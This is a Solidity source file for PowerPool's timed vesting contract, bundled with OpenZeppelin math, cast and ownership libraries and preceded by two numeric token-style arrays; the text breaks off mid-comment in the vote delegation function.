[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 3885, 1435, 4232, 39, 3462, 2932, 7642, 8384, 18485, 3113, 315, 43, 4142, 7923, 288, 203, 540, 203, 3639, 467, 984, 291, 91, 438, 58, 22, 8259, 3103, 389, 318, 291, 91, 438, 58, 22, 8259, 273, 467, 984, 291, 91, 438, 58, 22, 8259, 3103, 12, 20, 92, 27, 69, 26520, 72, 4313, 5082, 38, 24, 71, 42, 25, 5520, 27, 5520, 72, 42, 22, 39, 25, 72, 37, 7358, 24, 71, 26, 6162, 42, 3247, 5482, 40, 1769, 203, 540, 203, 3639, 23350, 7544, 3039, 26130, 1626, 273, 1203, 18, 5508, 397, 1728, 4681, 31, 203, 3639, 23350, 7544, 3039, 382, 12477, 273, 638, 31, 203, 3639, 23350, 7544, 40, 12857, 55, 1165, 2173, 71, 273, 1728, 31, 203, 540, 203, 3639, 4433, 1265, 2747, 3342, 12, 2867, 24899, 318, 291, 91, 438, 58, 22, 8259, 3631, 638, 1769, 203, 3639, 640, 291, 91, 438, 58, 22, 8259, 273, 389, 318, 291, 91, 438, 58, 22, 8259, 31, 203, 540, 203, 3639, 640, 291, 91, 438, 58, 22, 4154, 273, 467, 984, 291, 91, 438, 58, 22, 1733, 24899, 318, 291, 91, 438, 58, 22, 8259, 18, 6848, 1435, 2934, 2640, 4154, 12, 2867, 12, 2211, 3631, 389, 318, 291, 91, 438, 58, 22, 8259, 18, 59, 1584, 44, 10663, 203, 3639, 4433, 1265, 2747, 3342, 12, 2867, 12, 318, 291, 91, 438, 58, 22, 4154, 3631, 638, 1769, 203, 3639, 389, 542, 22932, 690, 3882, 278, 12373, 4154, 12, 2867, 12, 318, 291, 91, 438, 58, 22, 4154, 3631, 638, 2 ]
/* https://powerpool.finance/ wrrrw r wrr ppwr rrr wppr0 prwwwrp prwwwrp wr0 rr 0rrrwrrprpwp0 pp pr prrrr0 pp 0r prrrr0 0rwrrr pp pr prrrr0 prrrr0 r0 rrp pr wr00rrp prwww0 pp wr pp w00r prwwwpr 0rw prwww0 pp wr pp wr r0 r0rprprwrrrp pr0 pp wr pr pp rwwr wr 0r pp wr pr wr pr r0 prwr wrr0wpwr 00 www0 0w0ww www0 0w 00 www0 www0 0www0 wrr ww0rrrr */ // SPDX-License-Identifier: MIT // File: contracts/utils/SafeMath.sol // From // https://github.com/OpenZeppelin/openzeppelin-contracts/blob/ccf79ee483b12fb9759dc5bb5f947a31aa0a3bd6/contracts/math/SafeMath.sol pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: @openzeppelin/contracts/utils/SafeCast.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's uintXX/intXX casting operators with added overflow * checks. * * Downcasting from uint256/int256 in Solidity does not revert on overflow. This can * easily result in undesired exploitation or bugs, since developers usually * assume that overflows raise errors. `SafeCast` restores this intuition by * reverting the transaction when such an operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. * * Can be combined with {SafeMath} and {SignedSafeMath} to extend it to smaller types, by performing * all math on `uint256` and `int256` and then downcasting. */ library SafeCast { /** * @dev Returns the downcasted uint128 from uint256, reverting on * overflow (when the input is greater than largest uint128). * * Counterpart to Solidity's `uint128` operator. * * Requirements: * * - input must fit into 128 bits */ function toUint128(uint256 value) internal pure returns (uint128) { require(value < 2**128, "SafeCast: value doesn\'t fit in 128 bits"); return uint128(value); } /** * @dev Returns the downcasted uint64 from uint256, reverting on * overflow (when the input is greater than largest uint64). * * Counterpart to Solidity's `uint64` operator. * * Requirements: * * - input must fit into 64 bits */ function toUint64(uint256 value) internal pure returns (uint64) { require(value < 2**64, "SafeCast: value doesn\'t fit in 64 bits"); return uint64(value); } /** * @dev Returns the downcasted uint32 from uint256, reverting on * overflow (when the input is greater than largest uint32). * * Counterpart to Solidity's `uint32` operator. * * Requirements: * * - input must fit into 32 bits */ function toUint32(uint256 value) internal pure returns (uint32) { require(value < 2**32, "SafeCast: value doesn\'t fit in 32 bits"); return uint32(value); } /** * @dev Returns the downcasted uint16 from uint256, reverting on * overflow (when the input is greater than largest uint16). * * Counterpart to Solidity's `uint16` operator. * * Requirements: * * - input must fit into 16 bits */ function toUint16(uint256 value) internal pure returns (uint16) { require(value < 2**16, "SafeCast: value doesn\'t fit in 16 bits"); return uint16(value); } /** * @dev Returns the downcasted uint8 from uint256, reverting on * overflow (when the input is greater than largest uint8). * * Counterpart to Solidity's `uint8` operator. * * Requirements: * * - input must fit into 8 bits. */ function toUint8(uint256 value) internal pure returns (uint8) { require(value < 2**8, "SafeCast: value doesn\'t fit in 8 bits"); return uint8(value); } /** * @dev Converts a signed int256 into an unsigned uint256. * * Requirements: * * - input must be greater than or equal to 0. */ function toUint256(int256 value) internal pure returns (uint256) { require(value >= 0, "SafeCast: value must be positive"); return uint256(value); } /** * @dev Returns the downcasted int128 from int256, reverting on * overflow (when the input is less than smallest int128 or * greater than largest int128). * * Counterpart to Solidity's `int128` operator. * * Requirements: * * - input must fit into 128 bits * * _Available since v3.1._ */ function toInt128(int256 value) internal pure returns (int128) { require(value >= -2**127 && value < 2**127, "SafeCast: value doesn\'t fit in 128 bits"); return int128(value); } /** * @dev Returns the downcasted int64 from int256, reverting on * overflow (when the input is less than smallest int64 or * greater than largest int64). * * Counterpart to Solidity's `int64` operator. * * Requirements: * * - input must fit into 64 bits * * _Available since v3.1._ */ function toInt64(int256 value) internal pure returns (int64) { require(value >= -2**63 && value < 2**63, "SafeCast: value doesn\'t fit in 64 bits"); return int64(value); } /** * @dev Returns the downcasted int32 from int256, reverting on * overflow (when the input is less than smallest int32 or * greater than largest int32). * * Counterpart to Solidity's `int32` operator. * * Requirements: * * - input must fit into 32 bits * * _Available since v3.1._ */ function toInt32(int256 value) internal pure returns (int32) { require(value >= -2**31 && value < 2**31, "SafeCast: value doesn\'t fit in 32 bits"); return int32(value); } /** * @dev Returns the downcasted int16 from int256, reverting on * overflow (when the input is less than smallest int16 or * greater than largest int16). * * Counterpart to Solidity's `int16` operator. * * Requirements: * * - input must fit into 16 bits * * _Available since v3.1._ */ function toInt16(int256 value) internal pure returns (int16) { require(value >= -2**15 && value < 2**15, "SafeCast: value doesn\'t fit in 16 bits"); return int16(value); } /** * @dev Returns the downcasted int8 from int256, reverting on * overflow (when the input is less than smallest int8 or * greater than largest int8). * * Counterpart to Solidity's `int8` operator. * * Requirements: * * - input must fit into 8 bits. * * _Available since v3.1._ */ function toInt8(int256 value) internal pure returns (int8) { require(value >= -2**7 && value < 2**7, "SafeCast: value doesn\'t fit in 8 bits"); return int8(value); } /** * @dev Converts an unsigned uint256 into a signed int256. * * Requirements: * * - input must be less than or equal to maxInt256. */ function toInt256(uint256 value) internal pure returns (int256) { require(value < 2**255, "SafeCast: value doesn't fit in an int256"); return int256(value); } } // File: contracts/PPTimedVesting.sol pragma solidity 0.6.12; interface IERC20 { function totalSupply() external view returns (uint256); function transfer(address _to, uint256 _amount) external returns (bool); } interface CvpInterface { function getPriorVotes(address account, uint256 blockNumber) external view returns (uint96); } /** * @title PowerPool Vesting Contract * @author PowerPool */ contract PPTimedVesting is CvpInterface, Ownable { using SafeMath for uint256; using SafeCast for uint256; // @notice Emitted when a member is disabled either by the owner or the by the member itself event DisableMember(address indexed member, uint256 tokensRemainder); // @notice Emitted once when the contract was deployed event Init(address[] members); // @notice Emitted when the owner increases durationT correspondingly increasing the endT timestamp event IncreaseDurationT(uint256 prevDurationT, uint256 prevEndT, uint256 newDurationT, uint256 newEndT); // @notice Emitted when the owner increases personalDurationT correspondingly increasing the personalEndT timestamp event IncreasePersonalDurationT( address indexed member, uint256 prevEvaluatedDurationT, uint256 prevEvaluatedEndT, uint256 prevPersonalDurationT, uint256 newPersonalDurationT, uint256 newPersonalEndT ); // @notice Emitted when a member delegates his votes to one of the delegates or to himself event DelegateVotes(address indexed from, address indexed to, address indexed previousDelegate, uint96 adjustedVotes); // @notice Emitted when a member transfer his permission event Transfer( address indexed from, address indexed to, uint96 alreadyClaimedVotes, uint96 alreadyClaimedTokens, address currentDelegate ); /// @notice Emitted when a member claims available votes event ClaimVotes( address indexed member, address indexed delegate, uint96 lastAlreadyClaimedVotes, uint96 lastAlreadyClaimedTokens, uint96 newAlreadyClaimedVotes, uint96 newAlreadyClaimedTokens, uint96 lastMemberAdjustedVotes, uint96 adjustedVotes, uint96 diff ); /// @notice Emitted when a member claims available tokens event ClaimTokens( address indexed member, address indexed to, uint96 amount, uint256 newAlreadyClaimed, uint256 votesAvailable ); /// @notice A Emitted when a member unclaimed balance changes event UnclaimedBalanceChanged(address indexed member, uint256 previousUnclaimed, uint256 newUnclaimed); /// @notice A member statuses and unclaimed balance tracker struct Member { bool active; bool transferred; uint32 personalDurationT; uint96 alreadyClaimedVotes; uint96 alreadyClaimedTokens; } /// @notice A checkpoint for marking number of votes from a given block struct Checkpoint { uint32 fromBlock; uint96 votes; } /// @notice ERC20 token address address public immutable token; /// @notice Start timestamp for vote vesting calculations uint256 public immutable startV; /// @notice Duration of the vote vesting in seconds uint256 public immutable durationV; /// @notice End vote vesting timestamp uint256 public immutable endV; /// @notice Start timestamp for token vesting calculations uint256 public immutable startT; /// @notice Number of the vesting contract members, used only from UI uint256 public memberCount; /// @notice Amount of ERC20 tokens to distribute during the vesting period uint96 public immutable amountPerMember; /// @notice Duration of the token vesting in seconds uint256 public durationT; /// @notice End token timestamp, used only from UI uint256 public endT; /// @notice Member details by their address mapping(address => Member) public members; /// @notice A record of vote checkpoints for each member, by index mapping(address => mapping(uint32 => Checkpoint)) public checkpoints; /// @notice The number of checkpoints for each member mapping(address => uint32) public numCheckpoints; /// @notice Vote delegations mapping(address => address) public voteDelegations; /** * @notice Constructs a new vesting contract * @dev It's up to a deployer to allocate the correct amount of ERC20 tokens on this contract * @param _tokenAddress The ERC20 token address to use with this vesting contract * @param _startV The timestamp when the vote vesting period starts * @param _durationV The duration in second the vote vesting period should last * @param _startT The timestamp when the token vesting period starts * @param _durationT The duration in seconds the token vesting period should last * @param _amountPerMember The number of tokens to distribute to each vesting contract member */ constructor( address _tokenAddress, uint256 _startV, uint256 _durationV, uint256 _startT, uint256 _durationT, uint96 _amountPerMember ) public { require(_durationV > 1, "Vesting: Invalid durationV"); require(_durationT > 1, "Vesting: Invalid durationT"); require(_startV < _startT, "Vesting: Requires startV < startT"); // require((_startV + _durationV) <= (_startT + _durationT), "Vesting: Requires endV <= endT"); require((_startV.add(_durationV)) <= (_startT.add(_durationT)), "Vesting: Requires endV <= endT"); require(_amountPerMember > 0, "Vesting: Invalid amount per member"); require(IERC20(_tokenAddress).totalSupply() > 0, "Vesting: Missing supply of the token"); token = _tokenAddress; startV = _startV; durationV = _durationV; endV = _startV + _durationV; startT = _startT; durationT = _durationT; endT = _startT + _durationT; amountPerMember = _amountPerMember; } /** * @notice Initialize members of vesting * @param _memberList The list of addresses to distribute tokens to */ function initializeMembers(address[] calldata _memberList) external onlyOwner { require(memberCount == 0, "Vesting: Already initialized"); uint256 len = _memberList.length; require(len > 0, "Vesting: Empty member list"); memberCount = len; for (uint256 i = 0; i < len; i++) { members[_memberList[i]].active = true; } emit Init(_memberList); } /** * @notice Checks whether the vote vesting period has started or not * @return true If the vote vesting period has started */ function hasVoteVestingStarted() external view returns (bool) { return block.timestamp >= startV; } /** * @notice Checks whether the vote vesting period has ended or not * @return true If the vote vesting period has ended */ function hasVoteVestingEnded() external view returns (bool) { return block.timestamp >= endV; } /** * @notice Checks whether the token vesting period has started or not * @return true If the token vesting period has started */ function hasTokenVestingStarted() external view returns (bool) { return block.timestamp >= startT; } /** * @notice Checks whether the token vesting period has ended or not * @return true If the token vesting period has ended */ function hasTokenVestingEnded() external view returns (bool) { return block.timestamp >= endT; } /** * @notice Returns the address a _voteHolder delegated their votes to * @param _voteHolder The address to fetch delegate for * @return address The delegate address */ function getVoteUser(address _voteHolder) public view returns (address) { address currentDelegate = voteDelegations[_voteHolder]; if (currentDelegate == address(0)) { return _voteHolder; } return currentDelegate; } /** * @notice Provides information about the last cached votes checkpoint with no other conditions * @dev Provides a latest cached votes value. For actual votes information use `getPriorVotes()` which introduce * some additional logic constraints on top of this cached value. * @param _member The member address to get votes for */ function getLastCachedVotes(address _member) external view returns (uint256) { uint32 dstRepNum = numCheckpoints[_member]; return dstRepNum > 0 ? checkpoints[_member][dstRepNum - 1].votes : 0; } /** * @notice Provides information about a member already claimed votes * @dev Behaves like a CVP delegated balance, but with a member unclaimed balance * @dev Block number must be a finalized block or else this function will revert to prevent misinformation * @dev Returns 0 for non-member addresses, even for previously valid ones * @dev This method is a copy from CVP token with several modifications * @param account The address of the member to check * @param blockNumber The block number to get the vote balance at * @return The number of votes the account had as of the given block */ function getPriorVotes(address account, uint256 blockNumber) external view override returns (uint96) { require(blockNumber < block.number, "Vesting::getPriorVotes: Not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; Member memory member = members[account]; // Transferred member if (member.transferred == true) { return 0; } // (No one can use vesting votes left on the contract after endT, even for votings created before endT) if (block.timestamp > getLoadedMemberEndT(member) || block.timestamp > endT) { return 0; } // (A member has not claimed any tokens yet) OR (The blockNumber is before the first checkpoint) if (nCheckpoints == 0 || checkpoints[account][0].fromBlock > blockNumber) { return 0; } // Next check most recent balance if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; } else if (cp.fromBlock < blockNumber) { lower = center; } else { upper = center - 1; } } return checkpoints[account][lower].votes; } /*** Available to Claim calculation ***/ /** * @notice Returns available amount for a claim in the given timestamp * by the given member based on the current contract values * @param _atTimestamp The timestamp to calculate available balance for * @param _member The member address to return available balance for * @return The available amount for a claim in the provided timestamp */ function getAvailableTokensForMemberAt(uint256 _atTimestamp, address _member) external view returns (uint256) { Member memory member = members[_member]; if (member.active == false) { return 0; } return getAvailable( _atTimestamp, startT, amountPerMember, getLoadedMemberDurationT(member), member.alreadyClaimedTokens ); } /** * @notice Returns an evaluated endT value for the given member using * the member's personalDurationT if it set or the global endT otherwise. * @param _member The member address to return endT for * @return The evaluated endT value */ function getMemberEndT(address _member) external view returns (uint256) { return startT.add(getMemberDurationT(_member)); } /** * @notice Returns an evaluated durationT value for the given member using * the member's personalDurationT if it set or the global durationT otherwise. * @param _member The member address to return durationT for * @return The evaluated durationT value */ function getMemberDurationT(address _member) public view returns (uint256) { return getLoadedMemberDurationT(members[_member]); } function getLoadedMemberEndT(Member memory _member) internal view returns (uint256) { return startT.add(getLoadedMemberDurationT(_member)); } function getLoadedMemberDurationT(Member memory _member) internal view returns (uint256) { uint256 _personalDurationT = uint256(_member.personalDurationT); if (_personalDurationT == 0) { return durationT; } return _personalDurationT; } /** * @notice Returns available token amount for a claim by a given member in the current timestamp * based on the current contract values * @param _member The member address to return available balance for * @return The available amount for a claim in the current block */ function getAvailableTokensForMember(address _member) external view returns (uint256) { Member memory member = members[_member]; if (member.active == false) { return 0; } return getAvailableTokens(member.alreadyClaimedTokens, getLoadedMemberDurationT(member)); } /** * @notice Returns available vote amount for a claim by a given member at the moment * based on the current contract values * @param _member The member address to return available balance for * @return The available amount for a claim at the moment */ function getAvailableVotesForMember(address _member) external view returns (uint256) { Member storage member = members[_member]; if (member.active == false) { return 0; } return getAvailableVotes({ _alreadyClaimed: member.alreadyClaimedVotes, _memberEndT: getLoadedMemberEndT(member) }); } /** * @notice Returns available token amount for a claim based on the current contract values * and an already claimed amount input * @dev Will return amountPerMember for non-members, so an external check is required for this case * @param _alreadyClaimed amount * @param _durationT in seconds * @return The available amount for claim */ function getAvailableTokens(uint256 _alreadyClaimed, uint256 _durationT) public view returns (uint256) { return getAvailable(block.timestamp, startT, amountPerMember, _durationT, _alreadyClaimed); } /** * @notice Returns available vote amount for claim based on the current contract values * and an already claimed amount input * @dev Will return amountPerMember for non-members, so an external check is required for this case. * Will return 0 if global vesting is over. * @param _alreadyClaimed amount * @param _memberEndT either the global or a personal endT timestamp * @return The available amount for claim */ function getAvailableVotes(uint256 _alreadyClaimed, uint256 _memberEndT) public view returns (uint256) { if (block.timestamp > _memberEndT || block.timestamp > endT) { return 0; } return getAvailable(block.timestamp, startV, amountPerMember, durationV, _alreadyClaimed); } /** * @notice Calculates available amount for a claim * @dev A pure function which doesn't reads anything from state * @param _now A timestamp to calculate the available amount * @param _start The vesting period start timestamp * @param _amountPerMember The amount of ERC20 tokens to be distributed to each member * during this vesting period * @param _duration The vesting total duration in seconds * @param _alreadyClaimed The amount of tokens already claimed by a member * @return The available amount for a claim */ function getAvailable( uint256 _now, uint256 _start, uint256 _amountPerMember, uint256 _duration, uint256 _alreadyClaimed ) public pure returns (uint256) { if (_now <= _start) { return 0; } // uint256 vestingEndsAt = _start + _duration; uint256 vestingEndsAt = _start.add(_duration); uint256 to = _now > vestingEndsAt ? vestingEndsAt : _now; // uint256 accrued = (to - _start) * _amountPerMember / _duration; uint256 accrued = ((to - _start).mul(_amountPerMember).div(_duration)); // return accrued - _alreadyClaimed; return accrued.sub(_alreadyClaimed); } /*** Owner Methods ***/ /** * @notice Increase global duration of vesting. * Owner must find all personal durations lower than global duration and increase before call this function. * @param _newDurationT New global vesting duration */ function increaseDurationT(uint256 _newDurationT) external onlyOwner { require(block.timestamp < endT, "Vesting::increaseDurationT: Vesting is over"); require(_newDurationT > durationT, "Vesting::increaseDurationT: Too small duration"); require((_newDurationT - durationT) <= 180 days, "Vesting::increaseDurationT: Too big duration"); uint256 prevDurationT = durationT; uint256 prevEndT = endT; durationT = _newDurationT; uint256 newEndT = startT.add(_newDurationT); endT = newEndT; emit IncreaseDurationT(prevDurationT, prevEndT, _newDurationT, newEndT); } /** * @notice Increase personal duration of vesting. * Personal vesting duration must be always greater than global duration. * @param _members Members list for increase duration * @param _newPersonalDurationsT New personal vesting duration */ function increasePersonalDurationsT(address[] calldata _members, uint256[] calldata _newPersonalDurationsT) external onlyOwner { uint256 len = _members.length; require(_newPersonalDurationsT.length == len, "LENGTH_MISMATCH"); for (uint256 i = 0; i < len; i++) { _increasePersonalDurationT(_members[i], _newPersonalDurationsT[i]); } } function _increasePersonalDurationT(address _member, uint256 _newPersonalDurationT) internal { Member memory member = members[_member]; uint256 prevPersonalDurationT = getLoadedMemberDurationT(member); require(_newPersonalDurationT > prevPersonalDurationT, "Vesting::increasePersonalDurationT: Too small duration"); require( (_newPersonalDurationT - prevPersonalDurationT) <= 180 days, "Vesting::increasePersonalDurationT: Too big duration" ); require(_newPersonalDurationT >= durationT, "Vesting::increasePersonalDurationT: Less than durationT"); uint256 prevPersonalEndT = startT.add(prevPersonalDurationT); members[_member].personalDurationT = _newPersonalDurationT.toUint32(); uint256 newPersonalEndT = startT.add(_newPersonalDurationT); emit IncreasePersonalDurationT( _member, prevPersonalDurationT, prevPersonalEndT, member.personalDurationT, _newPersonalDurationT, newPersonalEndT ); } function disableMember(address _member) external onlyOwner { _disableMember(_member); } function _disableMember(address _member) internal { Member memory from = members[_member]; require(from.active == true, "Vesting::_disableMember: The member is inactive"); members[_member].active = false; address currentDelegate = voteDelegations[_member]; uint32 nCheckpoints = numCheckpoints[_member]; if (nCheckpoints != 0 && currentDelegate != address(0) && currentDelegate != _member) { uint96 adjustedVotes = sub96(from.alreadyClaimedVotes, from.alreadyClaimedTokens, "Vesting::_disableMember: AdjustedVotes underflow"); if (adjustedVotes > 0) { _subDelegatedVotesCache(currentDelegate, adjustedVotes); } } delete voteDelegations[_member]; uint256 tokensRemainder = sub96(amountPerMember, from.alreadyClaimedTokens, "Vesting::_disableMember: BalanceRemainder overflow"); require(IERC20(token).transfer(address(1), uint256(tokensRemainder)), "ERC20::transfer: failed"); emit DisableMember(_member, tokensRemainder); } /*** Member Methods ***/ /** * @notice An active member can renounce his membership once. * @dev This action is irreversible. The disabled member can't be enabled again. * Disables all the member's vote checkpoints. Transfers all the member's unclaimed tokens to the address(1). */ function renounceMembership() external { _disableMember(msg.sender); } /** * @notice An active member claims a distributed amount of votes * @dev Caches unclaimed balance per block number which could be used by voting contract * @param _to address to claim votes to */ function claimVotes(address _to) external { Member memory member = members[_to]; require(member.active == true, "Vesting::claimVotes: User not active"); uint256 endT_ = getLoadedMemberEndT(member); uint256 votes = getAvailableVotes({ _alreadyClaimed: member.alreadyClaimedVotes, _memberEndT: endT_ }); require(block.timestamp <= endT_, "Vesting::claimVotes: Vote vesting has ended"); require(votes > 0, "Vesting::claimVotes: Nothing to claim"); _claimVotes(_to, member, votes); } function _claimVotes( address _memberAddress, Member memory _member, uint256 _availableVotes ) internal { uint96 newAlreadyClaimedVotes; if (_availableVotes > 0) { uint96 amount = safe96(_availableVotes, "Vesting::_claimVotes: Amount overflow"); // member.alreadyClaimed += amount newAlreadyClaimedVotes = add96( _member.alreadyClaimedVotes, amount, "Vesting::claimVotes: newAlreadyClaimed overflow" ); members[_memberAddress].alreadyClaimedVotes = newAlreadyClaimedVotes; } else { newAlreadyClaimedVotes = _member.alreadyClaimedVotes; } // Step #1. Get the accrued votes value // lastMemberAdjustedVotes = claimedVotesBeforeTx - claimedTokensBeforeTx uint96 lastMemberAdjustedVotes = sub96( _member.alreadyClaimedVotes, _member.alreadyClaimedTokens, "Vesting::_claimVotes: lastMemberAdjustedVotes overflow" ); // Step #2. Get the adjusted value in relation to the member itself. // `adjustedVotes = votesAfterTx - claimedTokensBeforeTheCalculation` // `claimedTokensBeforeTheCalculation` could be updated earlier in claimVotes() method in the same tx uint96 adjustedVotes = sub96( newAlreadyClaimedVotes, members[_memberAddress].alreadyClaimedTokens, "Vesting::_claimVotes: adjustedVotes underflow" ); address delegate = getVoteUser(_memberAddress); uint96 diff; // Step #3. Apply the adjusted value in relation to the delegate if (adjustedVotes > lastMemberAdjustedVotes) { diff = sub96(adjustedVotes, lastMemberAdjustedVotes, "Vesting::_claimVotes: Positive diff underflow"); _addDelegatedVotesCache(delegate, diff); } else if (lastMemberAdjustedVotes > adjustedVotes) { diff = sub96(lastMemberAdjustedVotes, adjustedVotes, "Vesting::_claimVotes: Negative diff underflow"); _subDelegatedVotesCache(delegate, diff); } emit ClaimVotes( _memberAddress, delegate, _member.alreadyClaimedVotes, _member.alreadyClaimedTokens, newAlreadyClaimedVotes, members[_memberAddress].alreadyClaimedTokens, lastMemberAdjustedVotes, adjustedVotes, diff ); } /** * @notice An active member claims a distributed amount of ERC20 tokens * @param _to address to claim ERC20 tokens to */ function claimTokens(address _to) external { Member memory member = members[msg.sender]; require(member.active == true, "Vesting::claimTokens: User not active"); uint256 durationT_ = getLoadedMemberDurationT(member); uint256 bigAmount = getAvailableTokens(member.alreadyClaimedTokens, durationT_); require(bigAmount > 0, "Vesting::claimTokens: Nothing to claim"); uint96 amount = safe96(bigAmount, "Vesting::claimTokens: Amount overflow"); // member.alreadyClaimed += amount uint96 newAlreadyClaimed = add96(member.alreadyClaimedTokens, amount, "Vesting::claimTokens: NewAlreadyClaimed overflow"); members[msg.sender].alreadyClaimedTokens = newAlreadyClaimed; uint256 endT_ = startT.add(durationT_); uint256 votes = getAvailableVotes({ _alreadyClaimed: member.alreadyClaimedVotes, _memberEndT: endT_ }); if (block.timestamp <= endT) { _claimVotes(msg.sender, member, votes); } emit ClaimTokens(msg.sender, _to, amount, newAlreadyClaimed, votes); require(IERC20(token).transfer(_to, bigAmount), "ERC20::transfer: failed"); } /** * @notice Delegates an already claimed votes amount to the given address * @param _to address to 